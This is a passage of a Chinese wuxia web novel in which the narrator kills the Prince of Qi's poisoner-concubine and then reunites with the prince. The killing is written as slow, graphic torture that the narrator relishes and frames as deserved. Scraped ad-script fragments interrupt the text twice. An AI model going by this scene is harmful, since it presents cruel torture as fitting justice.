我道:“我从一开始就没有想要你性命啊,是你残害亲王,法理不容,三次机会都不要,又反过头来对我苦苦纠缠!男欢女爱,两情相悦,本是你情我愿,你好好跟齐王相处,未必得不到真爱,你偏偏用这些强人所难,又恶心又污秽逼人就范的恶毒招数。天道难容,你必死无疑,痴缠我惹恼我,这不是逼我动手杀你吗?怎么想的?蠢成这样,还有什么脸面活着,杀你我都嫌……啧,找不到合适的词,第一次词穷了我,还是在你身上,唉,你在我这儿也算蝎子拉屎独一份儿了,要不你自尽吧,算我求你?” “我投奔你我投奔你,我还有很多秘密,我还很有用,我还有用,你……你不是还有个妹妹吗,我的本事你用不上,哦不,你不屑用,可你妹妹可以啊,你若愿意收留我护着我,我可以教你妹妹永葆青春之术,让天下的男人为她倾倒……”那女子几乎疯魔,跪在地上疯言疯语。 韩燕熙闻言愤怒不已,内力也不调息了,起身上前就是狠狠一掌,打断她道:“住口,岂容你这腌臜货为非作歹,玷污纯洁。” 那女人捂着被打偏过去的脸,怒视韩燕熙,看看我,又赶紧伏低做小的样子,朝着我委屈巴巴的磕头。 我挺直腰板,将衣摆掀起,掖进腰间,若是堂邑夫在,看到这些动作,就知道我要出手了。 我见那女子又要开口,厉声道:“你以为我不动手是不敢,是怕在上位者面前展示血腥,遭猜忌吗?我长安就没在怕的,哼,你的为奴之心,岂可度我君臣之腹?齐王的名声不好,我的名声也差,齐王怎么回事你没个逼数啊,思此及彼,江湖流言你还真信啊?都说我是魔头,手段多么残忍多么血腥,可我向来行的直端的正,我如今投靠的是英明之主,信我如信自己,什么猜忌不猜忌的,我们君臣之间岂是你能挑拨的,我不动手,是他娘的你犯的罪到不了我动手,我也是真不想齐王看见你真实的样子,犯恶心。我啊,何止给你了三次活命的机会啊,妈呀,我真是服了,就这么个脑子,还学人家施展美人计啊,怪不得用这么多下三滥的招数,脑子不够,损招来凑?” 我背着双手,慢慢她走到她面前,定住:“是我太心软了,原本只想着救治齐王,不打算搭理你的,你呀你方才后悔没把握住三次解蛊的机会,等会儿,得比现在更后悔——原本死在李远将军手上,是你的福气,你偏不要。啊,确实是不能放虎归山,不然真是后患无穷了。主意打我妹妹身上,你自找的,”一想到这女人竟然敢染指平安,我就怒不可遏,我不怒反笑,阴狠的道:“今日我在你身上,真是浪费太多口舌了,你是真不配……我,要杀你,而且,是,孽杀。” 她闻言,惊恐不已的直起身子想要再次争取生的机会,我哪里会给她机会,立马抢先道:“我妹妹说反派死于话多,我说了这么多话,你,该上路了。” 话音未落,我运用内力将她完全压制住,她像被压在一座巨大的山峰之下,举起双臂抵抗,努力了几次都挣脱不开束缚,她看清楚我的实力,惊惧不已,艰难地说道:“竟然是,玄止境!” “所以,你死定了。”我微微笑着,轻松如闲话家常,淡然道。一手压制她,一手轻轻抬起召唤,周围的树叶仿佛有了意识,听话的随着我的内力行动,每片叶子都被灌入内力,坚硬的像锋利的铁片,我看了,摇摇头,“太锋利了,要钝一些才好。” 我随即用内力调整叶子的边缘,直到我满意,我才朝着那女子一指,无数叶子便朝她飞去,在她周身不断飞舞,“速度太快了。”我又不满意,于是特地让叶子飞舞的慢一些,像一场烂漫的绿色的鹅毛大雪一般,纷纷扬扬,不知这场“雪”下了多久,直到叶子摩擦骨头发出齿寒的咯咯声……那女子血肉随内力盘旋,像雾气一样蒸腾,她惨叫着匍匐在地,如一滩烂泥枯骨。我一直调动她体内方才吸收的我的那丝内力,支撑她的意志,所以她是没办法晕死过去的,只能越来越清醒的感受一切痛苦。不是很爱我的内力吗?那就好好享受吧! 除了脸,她浑身皮肤都烂了,手筋脚筋也断了,深可见骨。我不理会众人是觉得我手段狠辣血腥而胆怯忌惮,还是觉得这女子下场罪有应得而快意。要么不做,做了就不再顾忌,别人爱怎么想怎么想。 “还不够。”我走到她身边,歪着头道:“齐王的身子,你弄坏的,得赔。” 说着,我用内力将她舌头震烂,她满口是血肉碎屑,说不出话,眼里全是惊惧。我随手将她的内力转输给不远处的齐王,片刻而已,这女子须发皆白,老态龙钟。 我留了她一点内力,确保她能活着,管随从要了一面镜子,走到那女子身前,“你看,这样的你齐王爱不爱啊,你看着也犯恶心吧!”说着将镜子拿到她面前。 那女子看着镜中的自己,惨叫一声,晕了过去。 “快些抬下去,别叫齐王看到。”我叹了口气道:“唉,红粉骷髅。” “这女子……”众人上前询问道:“得一百多岁了吧?” “哦,没那么夸张,岁数没那么大,这女子看骨龄四十出头,平时依仗内力永葆青春,容颜不老,可她贪图肉~欲,仗着自己有秘术,可长久吸食内力,便更加肆无忌惮不知节制,身体底子消耗了不少,如今骤然流失内力,才老态龙钟成这副模样。”我解释道。 “她练的这是什么功法?”有人问道:“要是人人都练,岂不是人人都能长生不老?” “那天下岂不乱套了?大乱战的时候各大修真门派,纷纷入世救难,有不少修真典籍遗落人间,有些原是偏门秘术,为正道不齿,也散落人间,她这虹吸之术,原是精怪吸食同类精元炼丹用的邪术,人倒是可以修习,用来暂时延年益寿,永驻容颜,但毕竟为天道不容,总是要遭受天劫的,我师父带我试炼的时候,偶然得到此秘术就立即命我销毁,谁料我天资太好,只看了一眼,就不小心学会了,唉,今日吸了她的内力,虽然转给了齐王,但到底违背师命,违背天道,他日怕是要有报应。”我说着一脸担忧的看了看青天。 “你都长不大了,这是最大的报应,还能有什么其他的报应,放心好好活吧,祸害都遗千年。”韩燕熙吊儿郎当。 “信不信我真的让你一辈子不举。”我侧头瞪着他道。 “信!可你能不能别这么瞪着我,你都瞪得没有黑眼珠子了,全白了。”韩燕熙的话音刚落,那边就有人来报说,梁王晕倒了。 有说是累的,有说是热的,我过去一把脉,才知是装的。我耳语给刘景,刘景憋着笑,叫人把梁王抬回别宫去好生休养,又命令太子和亲王,世子,伴读们赶紧收麦子。 41. 樟郎 年轻的小伙子们,光着膀子,在阳光下的稷麦田里,干得热火朝天…… 我背靠着刘景,打坐调息。刘景很是心疼我,吩咐下去,晚膳给我做好多好吃的,补补身体。 齐王醒过来,绝口不提那女子,只觉得身体大好,便也加入收麦子的行列,刘景很是开心,也有些担忧,总是问齐王累不累,要是累就休息云云。他毕竟身体底子被掏空了,割了一些,便虚耗得没了力气,只得又躺回躺椅休息。 原本刘景还和众人说好,齐王醒了要是打听那女子情况,就说那女子自知对他不住,刎颈自裁了。大家还排演了一下,神色语气都把握到位,却不料,根本没用上。 后来齐王私下和我说,我们打斗的时候,他其实醒来过,只不过又吓晕了…… 刘景哥仨儿在树下品茗对弈,我坐在行军椅上和躺椅上的齐王在树荫下看书,“你救了我的命,我得报答你。”齐王温和的说。 西晒太阳毒辣的很,刘景叫众人到树下喝水休息。 我道:“不用报答,我本来就欠王爷一条狗命。”我看着书,见齐王不翻页,就自己动手。 众人闻言都端着茶碗,看向我,齐王也看着我,不解道:“你这话,听着像骂人,看着又不像。” “我说真的啊!”我看着齐王,转了转眼睛,又定定地看着他,问道:“你是真……你真没认出我来啊?” “我们,见过?” 我点点头,却很是失望,心里缺了心头血,这会儿揪起来比之前更疼了,“嗯!何止见过!”我趴在躺椅扶手上,做小狗状,试探的叫着:“汪,汪汪?想起来了吗?” 齐王摇摇头,一脸茫然。 “那……樟郎,大樟郎?” “……”他起初还是一脸疑惑和茫然,慢慢的,若有似无的星星点点,好像有什么被渐渐唤醒,忽隐忽灭。 “啊,这样也不行,那就算了吧。”我看着他手里松松垮垮拿着的书,用下巴指了指,道:“继续看书吧!” “……是,是你,你不是早死了吗?”齐王眼睛里终于有了光芒,最后呈现燎原之势,烧红了一双温柔的眼睛。鼻子一酸,他扭头哭起来,哽咽不已,身体不住的抖动。 “祸害遗千年,我哪那么容易死。”我不敢看他,也不去宽慰他,只从他手里把书拿过来,淡然地看着书上的文字,道:“你可算想起来了……你和太子殿下真是亲哥俩儿,记性是真差啊。” 喝水解渴的太子听到我这么说,抽了抽嘴角,还好没呛到。 刘景听我们是旧相识,便打听起来,我便将我和齐王的事简单说了一下。 当年,我武功初有小成,师父让我跟着门里的哥哥姐姐出去长长见识,到了代国,哥哥姐姐们要做一个大任务,觉得带着我太危险,若是有个闪失,回去不好和师尊交代,便把我安置在王宫后厨的熟人那里,好吃好喝的照顾我。 王宫自然守备森严,但比不得皇宫,王宫的宫人们,时常会把自家的孩子或者亲戚的孩子带入王宫,教些规矩,只要不捣乱,不到处乱跑就好,若是能当个帮手分担差事,那就更好啦,提前熟悉一下工作,以后便在王宫中当值,做个侍卫做个守备做个府臣做个宫官……都是很好的出路,所以王宫里十来岁的孩子还是不少的,多了一个我,也并不稀奇。我很快就成了孩子们的头头,我和齐王就是那段时间结识的。 刘景微微一笑,叹缘分奇妙。 齐王和别的王爷不一样,他八岁就自请赴国,励精图治,勤勉好学,跟着国中贤臣,学着治理代国,尤其酷爱读书,他的王宫藏书简直浩瀚,我一直很敬佩他,和他很玩得来…… “你不是个……”齐王稳定好情绪,打量着我,忽然想起什么,惊讶不已,心想:若非你这般装扮,转变了性别,我应该是能认出来的。 我赶紧伸出手指,竖在他嘴巴前,道:“我生病了,长不大了,只能永远做个小童子啦。” 齐王闻言,又看了看我,明白我的意思,眼里全是心疼,对我的身体很是担心,“还,还能治好吗?你师兄苏和,你自己,不都医术高明吗?” 我无所谓道:“治不好啊,我认命啦,可能是我把你的狗吃了,还强行喂给你吃,被你说着了,遭报应了。” “……我那是孩子时候的气话,我……”齐王窘迫不已,后悔当年的诅咒。 那时候我们都十来岁,我还不知道自己长到那时候起就不在长了,武功小成,无病无灾,也不用担着门中繁重的事务,整日里无忧无虑,所以那个时候几乎可以称得上是我此生最快乐的一段时光。 齐王一开始是不服我做头头的,被我吊在树上扒了裤子揍了好几次,又恩威并施,哄了几次,就服服帖帖的了。我要星星绝不给月亮,我要睡在王座上,他都得叫人加几床褥子,怕王座太硬,硌着我睡不舒服,我放屁他都夸是香的,纵得我无法无天,说一不二,我在王宫里,比他这个王爷还威风。 我们每日上房揭瓦,下河和泥,放炮仗炸茅房……一起挑灯夜读到天亮,他还要早朝,我随便赖床,一起嬉笑打闹,一起胡作非我……忽然有一天,我感觉到一个大权在握的王爷,不可以这样毫无节制毫无底线的纵容一个人,不然早晚出大事。于是就劝谏他,可他不以为意,丝毫不放在心上,只由着我的性子胡闹,还十分享受倾其权柄独宠一人的快感。 我心想那还了得,那我以后造反他是不是还得递刀?齐王对我不错,我可不能害他。于是我为了让他有个深切体会,就把他的爱犬给杀了,做成美食,还骗他一起吃了。还把狗皮给他做成坐垫…… 那是他母妃在他赴国的时候送给他的小狗子,他爱惜的不行,他果然大怒,当即把我下了大狱。 “你,你不是在大狱里病死了吗?”齐王问道。 “哦,我可是我师父的心尖尖,我同门的那些哥哥姐姐一听我在王宫给自己作到大狱里去了,那还得了啊,我屁股都没坐热,就给他们救出去了。”我倒了两杯茶,一杯递给他,一杯自己抿了一口,道:“你生那么大气,都把我下了大狱,还怕我住不舒服,让人提前把牢房收拾了一番,我进去一看根本不是什么牢房,比你的寝宫也不差,狱卒也知道你就是吓唬吓唬我,过后伤心完了,肯定是要放我出来的,人没了,肯定是不敢上报的,随便找个差不多的尸体说染了疫病死了,把尸体赶紧处理了,看都不让你看一眼,你能怎样?” 齐王叹了口气,有些时候手低下的人瞒天过海,阴奉阳违,他也没什么好办法,“这么多年你就没想着回去看看我啊?”说完他鼻子又酸了一下,眼睛又噙满了泪水。 “看了呀。”我捧着杯子喝着茶,淡淡的说道:“有一年我去上郡做一个大任务,是那种不知道能不能活着回来的那种,就特意途径代国晋阳看你来着,当时你正巡访田间,体察民情,我就在人群里,正值端午,你还分给我一个艾草荷包。” 不远处的李椒闻言,不自觉地抖了抖身体,看向我。我假装没觉察,低头喝茶。 “你怎么不和我相认?”齐王紧了紧拳头,心中懊悔不已:曾经那么近,我却依然没认出你吗? “我那时候就病了,不长了,自惭形秽的,躲你都来不及。但是我还是鼓起很大勇气,随着人群靠近你所在的高台,去领了一个艾草香包,我那么小小的一个,刚抓住你递过来的香包,就被人群淹没了。哪像你啊,万人簇拥,高高在上的,真真是陌上人如玉,公子世无双!你那么受代国百姓的爱戴,你所到之处,人山人海,我就只能远远看着你啊,一直看到你王驾回去……哦,我还给你送了祝福,祈愿的红丝带就挂在咱们常去的月老祠姻缘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 树上。哎,你可不要误会啊,我求的可不是姻缘哈,我都这样子了。”我压低声音说完最后两句,微微一笑,自嘲一般,接着很不满的样子,埋怨道:“不过,我都没变样子,你都认不出我,还怨我不和你相认?真是过分,你总是……认不出我,唉,我病了你也病了,我名声坏了,你名声也坏了,我是杀人如麻的小魔头,你是淫‘乱成性的好色王,我们后来都……狼狈的不成样子,今日我也是鼓足了勇气才和你相认的……你总是认不出我,我其实……是挺难过的!”我仰头看着蓝蓝天,白白的云,吸了吸鼻子。 “我……可能记性是真不好了,狱卒来报你死了,我好像就生了一场大病……我其实记不太清楚你的样子了,我努力的想记住,很努力,可记忆却越来越模糊……”齐王心都要碎了,说话的声音都是颤抖的。 “后来,你就声名狼藉了,但,你是陛下和贤贵妃的孩子,贤贵妃是先皇后亲选给陛下的人,人品肯定是过关的,他们的孩子怎么会如传闻那般呢?我也很了解你,定然是不相信传闻的,事出无常必有妖。”我平淡的娓娓道来:“所以苏和去给你看病回来,我便留心向他细细打听,他若说的详细反而没什么,可他遮遮掩掩,我就知道这里面事挺大。苏和虽为医者,但是他秉承医者医病不医命,乱七八糟的事,他不愿插手,也不愿我插手。我师父也严禁我干预别人命运,所以阴阳术数,五行八卦,奇门遁甲,这些东西莫说学,是看也不让我看一眼的,生怕我学会了泄露天机,遭天道反噬。可是我都这样了,我还怕什么啊,早死早托生,下辈子投胎还能做个正常人。所以你的事情我必定是要插手的,苏和拦不住我,谁也拦不住我。” “那你强行救了我,会不会……”齐王感动,真的很担心我,这会儿泪就没停过,说话总断断续续,哽哽咽咽。 “遭报应啊?看看再说吧!”我毫不在意的样子:“不过你是真可怜啊,身为天子的儿子,亲王之身,这么尊贵,让人玩啦,玩得都快给玩死了。我心疼你,也挺敬佩你的,给人下了这么恶毒的蛊,用了这么歹毒的迷情香,折腾了这么久,若非你隐忍克制,早就耗干精血,枯竭而亡了,哪里还有机会等到我来救!那个蛊虫我真的要吓死了,我好怕的。” “你……”齐王张了张嘴,说不出话来,也不知道说什么。 “以前呢,我劝你,你不当回事儿,就用你的爱犬给你警示,你伤心难过,气成那样也不长记性。你纵得我无法无天,全宫上下无有不知,我杀你的狗,没人敢说一个不字,做成肉羹哄你吃下,竟也无一人敢拦阻劝诫,甚至就看着你吃下去,都没人敢告诉你真相,还是最后你找不到狗子急得哭,我于心不忍才告诉你吃的那个就是,顺便把做成坐垫的狗皮奉上。我就说你不要这样子宠爱一个人,你看全宫都一团混沌,你当时太年幼,不知道是真听不进去还是就不肯听,只顾着恼火,和我置气。 这回也是换汤不换药,你被人用了这么刚猛的迷~情~香,整个王宫就真的没人懂没人发现啊,还不是你过度宠爱那女子失了分寸,又弄得无人敢进言!你这破身子给她弄得一年到头病着,外臣想见你怕还要经过她的同意,这里面私相授受,金钱交易,藏污纳垢的很,那些想见你的忠臣是不会做,也断然不愿意做的,胆子小的能明哲保身,恪守本分帮你把代国管理好就不易了,胆子大的一腔热血,怕是早就被用了手段各种名头迫害死了,忠臣七零八落的,那你能见到的都是什么人,你这会儿心里该有数了吧!回去也不要先急着大刀阔斧整顿吏治,先从自身做起吧。 你啊你对那女子定是言听计从,整个王宫整个代国她说了算吧,权柄滔天,谁敢说她半句不是啊?远的不说,就说近的,才那会儿她罪行暴露,你起初是怎么护着她的,噢哟,昏庸着哩,那可是当着陛下太子和各位亲王世子的面儿啊。” 42. 王霸 我好一顿奚落齐王,齐王自知理亏,只顾着默默流眼泪,说这回一定好好听我的话,好好检讨自己,彻底反省。我听了别脸蹙眉,看着远处,“啧”了一声,没说什么。但心里到底堵得慌,这个齐王还是没明白,要真明白了,就直接自我反省去了,断然说不出好好听我的话这种言论。得给他找个明事理的好女人做贤内助,不然还要重蹈覆辙。 “那我身边儿的人……”齐王细思极恐,忽然充满恐惧的看着我。 我看他红红的眼睛,像小白兔一样,鼻尖也红红的,对他又爱又怜,按住他的胸口,安抚道:“别觉得身边一个忠臣没有,有明主,才有忠臣,上梁不正下梁歪,出了事别老想着身边的人怎么样,你行得正坐得直,身边的人就正直,你病重的时候身边除了宫女就是太监,政治上他们懂什么?你还指望他们帮你辨忠奸?而那迷~情~香专门给男子用的,宫女闻了不起作用,太监无欲无求闻了也没感觉。”我眼睛转了转,道:“嗯,这次进京那女子必是小心谨慎……等你回代国以后,你把平日和你不亲近又总在跟前晃悠,看着眼熟的侍卫啊府官啊什么的换一换吧,那女子淫‘荡,你总是病着,她不可能干干净净的为你守着。” “……”齐王似乎想起什么,眼泪又在眼睛里打转。 哟,这样子,那这是被我说着了啊,我一脸坏笑,打趣道:“想起什么啦,哈哈……真是让人坑死了,坑得真是彻底啊,一年也爽不到几回,还让人拿捏得死死的,我都不想说你,我估摸着,不出一年你死了,她就说怀了你的遗腹子,承继代国,子幼母壮,噢哟,那到时候整个王宫热闹的哟,目之所及,但凡是个男的,都是你的同靴,那绿帽子戴的哟,啧啧啧,恨不得一个头发丝儿上给你挂一个,哈哈……” 人的悲喜并不相通,我越说笑得越欢,刘景却挂不住脸,众人也都神色各异,韩燕熙呲着牙看着我,一脸你小子真敢说的样子,齐王羞愤至极,涕泪横流,捶胸顿足:“我竟昏庸至此,有何颜面活着。” “哎,不至于不至于,我师父说,脱去皮囊,人有二百零六骨,穿上衣服,却有一万八千相,你因为年轻而被迷惑,无可厚非,吃了大亏,受了伤害,不该被嫌弃,也不该被训斥,更不要自责自弃,总归是你太年轻,没见识过江湖险恶,你们老刘家又都是痴情种,情窦初开就情有独钟,痴情糟人利用而已,吃了教训,长了心智就好,能够顿悟悔过,痛改前非就善莫大焉,别要死要活的,死有什么意思,现在死了,就永远顶着荒淫好色的名声,说不定人家还传你为了那贱妾殉情了呢,白吃那么大一亏。”说到这里,我忽然想起一件事儿来,便心思一转,道:“啧,你呀就是年轻,太年轻,要我说啊,大汉男子十六岁成年,搁在以前那是需要恢复人口,不得已而为之,现在啊,往后拖一拖,会好些,男子二十加冠成年,心智总要成熟坚定很多,眼界阅历总要开阔些,十五六太嫩了,太容易让人拿捏,而且这么早就泻了阳元对男子身体也实在不好,你看你虚的。”说着我拿起帕子轻轻地给齐王擦脑门儿上的汗。 刘景闻言一脸沉思。 我接着一脸灵光,看着太子那边,高声兴奋道:“哎,那要是男子二十岁成年,太子殿下韩燕熙张子文,还有好多二十四五的这些人,也显得更年轻些。” “这话怎么说?”坐在一边乘凉休息的韩燕熙一脸不快,道:“什么叫‘显得’更年轻些?” 他的疑惑就是太子的疑惑,我是要回答的,但我还是瞪了韩燕熙一眼,然后一边故作思考一边说道:“嗯,你想啊,十六对二十五,相当于二十对三十一二呢。你对比一下,是不是显年轻好多?” 众人闻言开始计算,有人很快明白其中道理,有人交头接耳询问何解。 我自顾自接着道:“若是男子二十岁成年,你们二十五岁就是年轻人,正是青春大好的时候,要是十六岁成年,你们现在对年轻姑娘来说就是三十多岁的小老头子了,那……高阳郡主觉得太子年纪大,也情有可原不是?” 太子脸色有些尴尬,抬头看着天空,喝茶……刘景看了看心爱的大儿子,若有所思。 “喏,要是二十岁成年,你心智成熟,怎么也更懂事些,哪那么容易吃这亏啊。”我对齐王说着,忽然想起一件更重要的事儿,对齐王正八经儿地严肃道:“额,对了,你身体里现在是有内力在撑着,你喜欢读书,喜欢钻研,涉猎也广,我是知道的,你可别读什么修习内力的心法哈,你要是不听……” “我可不可以不要这内力?我,不想要……”齐王似乎极其厌烦身体里的内力,不等我说完,便打断我问道。 “……哦,可以,可以换成我的。”我愣了一下,当即明白他的意思,他不是不想要内力养护身体,是不想要现在身体里属于那个女人的内力,我随即一边运气,一边嘱托道:“内力散尽以后,有一瞬,你的心是停止跳动的,会很难受,你憋气忍住,待我的内力进入你体内,马上就会好的,听见了吗?” “嗯。”齐王点点头。 我让大家都躲的远一点,避免误伤,众人连忙去远处躲避,李远和李大公子分别挡在刘景和太子身前,刘景和太子出于好奇,都探出头来看,父子俩还怪可爱的,我不禁扬了扬嘴角。 我凝气向齐王前胸推下一掌,一股强大的内力,从他身体里扩散出来,形成的巨浪,带起的气波,扩散开来,骤然成风,让远处的人们挣不开眼,呼吸一滞,胸口一闷,耳鸣是最让人无法忍受的,好在风过之后一切如常…… 内力散尽,齐王脸色憋得紫红,青筋暴起,我立即将自己的内力缓缓输送到他体内,他随即舒服的嘤咛一声,大口大口喘着粗气,脸色渐渐好看起来。 “我输了七成内力给你。”我盘膝而坐,调息收气,道:“我们门派悬壶济世治病救人,内力与旁人不同,有活死人生白骨之效。你得了我的内力,会如重获新生一般,但你切不可起了贪念而跃跃欲试,想要借助我的内力炼化修为。我们门派的内力,需要我们门派特有心法修习,不是你随意找来的心法就可以炼化的,若是强行炼化,轻则走火入魔,重则爆体而亡。你若真是想要修行,一定要知会我。” “那,我现在就知会你。”与惠王的慢病不同,齐王底子太差了,内里空耗太久,又刚刚解了情蛊,想要保命一定要短时间内,用大量内力护体,不然就去找阎王爷探讨人生了。七分内力瞬间入体,那种快感是无法言喻的,齐王果然动了心思。 刘景他们纷纷回到原来的位置上坐好,喝茶休息,等西晒太阳再落下一些。 我一副猜到你会这般如此的样子,挑了挑眉,对齐王道:“哼哼,还没说完呢,别急啊,内力呢,你当个救命养身的药是完全没有问题的,但是借他人内力修行,就有违天道必遭天罚,你那爱妾再猖狂,也只敢吸食一些内力,延年益寿永葆青春,再不敢越雷池半步。我呢,不多不少给了你七成内力,刚刚好达到天谴的下限。不练,就好好活着,练,咔嚓一个天雷下来,谁也救不了你。”说完哈哈一笑。 “你这不就是不让我修行吗?”齐王失望道。 “对啊,你又不是皇帝,又不是太子,只是一个亲王,你修行高深的内力做什么?你声名狼藉之前,可素有八贤王之称,如今迷途知返,年纪轻轻,尚可大有作为,再修炼成绝世武功,你要干什么?造反啊?”我故作不经意的道。 齐王吓得一个惊坐,差点从躺椅上摔下来,“父皇太子大哥面前你可别胡说八道!你要吓死我?”说着赶紧跪地,给刘景和太子行礼请罪,发誓绝无此心。 刘景和太子自然不会因为我的胡说八道怪罪他。 我一边扶齐王躺回去,一边道:“我怕你这人还学不会长记性,就是要说得严重一些,非要吓你一吓,吓破你的胆,吓掉你的魂儿才可,不然你日后真惹出事来,岂不是我的罪过?嗯……我的内力你就安心当药用吧,其他别想啦。你都尝过名声狼藉的苦楚了,就别再触犯天谴被一个雷劈死了,或者起兵造反,你是亲王,是天子的儿子,所作所为这些都是要载入史册的,那有些事儿,史书不写则已,要写的话,到了史官笔下,可有的好写了,你自己想想,得把你写成什么样子。不能名垂青史,也别遗臭万年啊。” “别说了别说了,我记下了,我记下了,我都记下了。”齐王一脸紧张,小声央求,我闻言呵呵一笑。 “这会儿知道怕啦,刚才护着你那爱妾的时候,天不怕地不怕的那气势,我还以为是真爱,都感动了,迟迟不愿对你爱妾下死手,跟她废了那些个口舌,到现在口干舌燥的。”我酸酸地说道,然后端起茶杯小口小口的喝着,不停的念叨,好渴好渴啊…… 齐王嘴角抽了抽,不知道说什么好,只能假装咳嗽,掩饰尴尬。 “王爷,懒美人所用之物……”齐王随从宫人,上前询问道。 “全扔了。”齐王厌恶不已。 “喏。” “哎哎哎,且慢且慢!”我拦下宫人,道:“你家王爷呢,疼老婆没有限制,那个什么美人看也是贪图享乐骄奢淫逸之人,平时一应用品定是……奢华无比。这样,你们来长安带过来的金银首饰,铜器漆器,绫罗绸缎等等这些,你登记造册,拿给我看,或捐或卖,或回炉重造,我且处理做个样子,你回去代国王宫依样照做就是,有劳旦公公。” 老宫人闻言大喜:“哟,懒懒大王霸,这么些年您还记得老奴啊,王爷没认出,老奴我今儿早上一打眼就……”认出您了,就是那女人在,我不敢吱声。 “闭嘴吧你谁啊,滚。”怎么把这茬忘了,我不等旦公公说完,立马翻脸不认人。 “懒懒大王八?!”众人来了兴致,尤其韩燕熙蹦得最欢。 “是,霸道的霸!”旦公公学着我当年的样子纠正道。 “懒懒大王霸!”众人重复一遍。 “哎,对了(liao)。”旦公公又学着我当年的样子点点头。 “啊哈哈哈,谁叫这个名啊?怎么起这个名啊,啊哈哈哈……”果然众人哄堂大笑起来。 “不许笑!”我涨红着脸,恼羞极了,这老家伙怕是当年被我欺压的时候,就等着有这么一天了吧! 众人催 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 促旦公公说说这名字的来由,我阻止旦公公,不许他解释,可刘景兴致很高,非要听听。“朕想听。”刘景呵呵笑完,道:“快说。” 我支支吾吾,不愿提及,“嗯……就是,当年,年少无知,胡,胡乱叫的。” “你说。”刘景对着旦公公道。 旦公公就等着呢,立马欣喜万分的答应,他还很机灵地知道给我改个对应性别的称呼,道:“诺,当年懒懒……小公子,在代国王宫,对我们……很是照顾,爱护有加……我们自然对他……万分敬爱,无有不从,有一日小公子突发奇想,要自立为王,一开始叫懒懒大霸王,叫了两天说是不好,做霸中之王,不符合他的气度,得做王中之霸才好,于是,就让我们称呼他懒懒大王霸,我们自然很是拥护,叫着也很顺嘴,至今不忘,这不见了小公子就不慎脱口而出了。” 我才不信,我翻白眼儿,旦公公很是配合的恭恭敬敬站到一边,低着头,好像知道自己多言了一样。这个老奴才,真是越老越猴精。 大家简直笑的前仰后合,毫无形象可言,我简直要气炸了。“别笑别笑,都别笑了,你,还有你,当时怎么不拦着我点?”大家反而笑得更甚,我愤愤地指着旦公公和齐王质问。 “奥哟,我的大王霸,你连王爷的屁股都敢打,我们这些奴才能憋住不笑出声来,本本分分恭恭敬敬叫您一声大王霸就不错了,哪里还敢拦着您,劝谏您,说您一句不是啊。谁要说您一声不好,那出恭时候,不得被您的大鞭炮炸死啊?当年咱代国的茅房都让您带着王爷炸遍了都!哎呦,到现在我们那些老奴还梦魇呢!”旦公公今天真是大“仇”得报啦。 众人闻言又是大笑。 “你呢?”我看着齐王问。 “我?你说的话我都愿意听,而且我当时觉得你说的好有道理,也没觉得哪里不妥,没觉得好笑……哈哈哈哈……”齐王实在忍不住了,跟着众人哈哈笑起来,不过他说的是真心话,当时真没觉得哪里有问题,只觉得他的“懒懒”说什么都好好听好有道理的样子。 “不许笑,不许笑……”我仰天长啸。 过了好一会儿,大家才消停下来,我躺在齐王躺椅边上的草地上,看着蓝天白云,不经感叹:“唉,这君王真不是一般人能当的哈,能当一个好君王真是太不容易啦,权力这东西真是太奇妙了,真的会让人头脑不清醒,那以前咱们一起看书的时候,觉得怎么会有君王干出这么多荒唐事儿,他自己不觉得,身边就没有明白人吗?咱们那时候还百思不得其解哈,这你现在回头想想,咱们小时候都干了些什么乱七八糟的事儿啊,我还天天带着你去放鞭炮,炸的人满裤子都是屎,这是人干的事吗?唉,悔不当初啊,啧,还是年轻读书太少太不懂事儿,给自己封了这么一个封号,也没人拦着点,还天天叫人奉承着,幸亏没叫几天,要不然传得人尽皆知,我还怎么在江湖上混啊。也得亏我不是真王爷,要不然写进史书,说某某王,某某天突发奇想自封为某某大王霸,那岂不让人千年万年的嘲笑?” 大家又忍不住哈哈笑起来,韩燕熙起哄,让我有时间把小时候的事都说给他们听听。我装死不答应。 “……你还跟我回代国吗?”齐王回想起童年光景,一脸怀念。 “回去干啥,继续给你当大王霸吗?”我嚯的一下坐起身,冷着脸看着他,没好气地道:“得亏我另择明君了,跟着你我就是大王霸,跟着你爹你哥,我就是堂堂正正的长安君。哎哎哎,你也是饱读诗书,学富五车,怎么荒唐成这样子?由着我胡闹,一点也不拦着,你书,书都读狗肚子里去了吗?”我十分埋怨他。 “嗯,还让你给吃了。”齐王笑嘻嘻的宠溺道。 “啧,我救了你一命,这事咱们不都扯平了吗,不许提。”我转头问旦公公,道:“嗯,那个兰美人是兰花的兰,还是蓝天的蓝?” “是懒惰的懒!”旦公公一脸事不大不算完的样子。 “啧,你别说。”齐王蹙眉阻拦,却已然来不及。 我虎躯一震,眼睛一转,深深看着齐王,最后无奈地点着头,气笑了“……以为是,吃了两回亏,噢,一棵树上吊死两回啊?”我说着恨铁不成钢的瞪了一眼齐王。 刘景,太子,惠王,韩燕熙等人对我的话回味了又回味,可我此时心中情绪复杂,头脑也因为气愤有些发热,并没有分出精力细品他们的神色。 “啊不,懒懒你听我说……”齐王显然慌了。 “别,这名脏了我不要了。”我站起身来,一边做拉伸一边道:“而且,我长安行不更名坐不改姓,我本来就不叫这名,本来也是你随口叫的,你爱给谁给谁。” “你别生气啊,别生气了,那怎么办?总不能像小时候那样给你打屁股吧。”齐王和我分开太久,不知道怎么哄现在的我不生气。 我闻言顿了一下,忽然想起来小时候的场景,忍不住逗他,坏笑着转头看着他道:“哦,你那时候小鸡鸡只有……那么一点点。”我一边说着,一边伸出食指和拇指比量,然后不等他脸红,就疯子一般跑进麦田:“啊哈哈哈,收麦子去喽。” 43. 密文 即便西晒太阳下去了,天依旧太热,大家都光着膀子,我汗流浃背,脱了外套,只穿了小肚兜,来回运送麦子。 齐王跟在我身后,像个大尾巴,我好几次转身都要撞上他,他到底身子虚弱,我打发他去休息。却见韩燕熙手握镰刀,从麦田里直起身子坏坏地笑着,看着我。见我看他,笑得更坏了。 我一下子想到自己只有三成内力了,吓得倒吸一口凉气,连忙躲在太子身后,又漏出一个小头,对着韩燕熙道:“先前我还教你心法来着,你,你不能趁人之危?” 太子护着我,让韩燕熙适可而止,可是韩燕熙依旧坏坏的盯着我,并不收敛,“哼哼,现在知道怕啦?我可是在你手上栽了好几回呢!风水轮流转,你……” 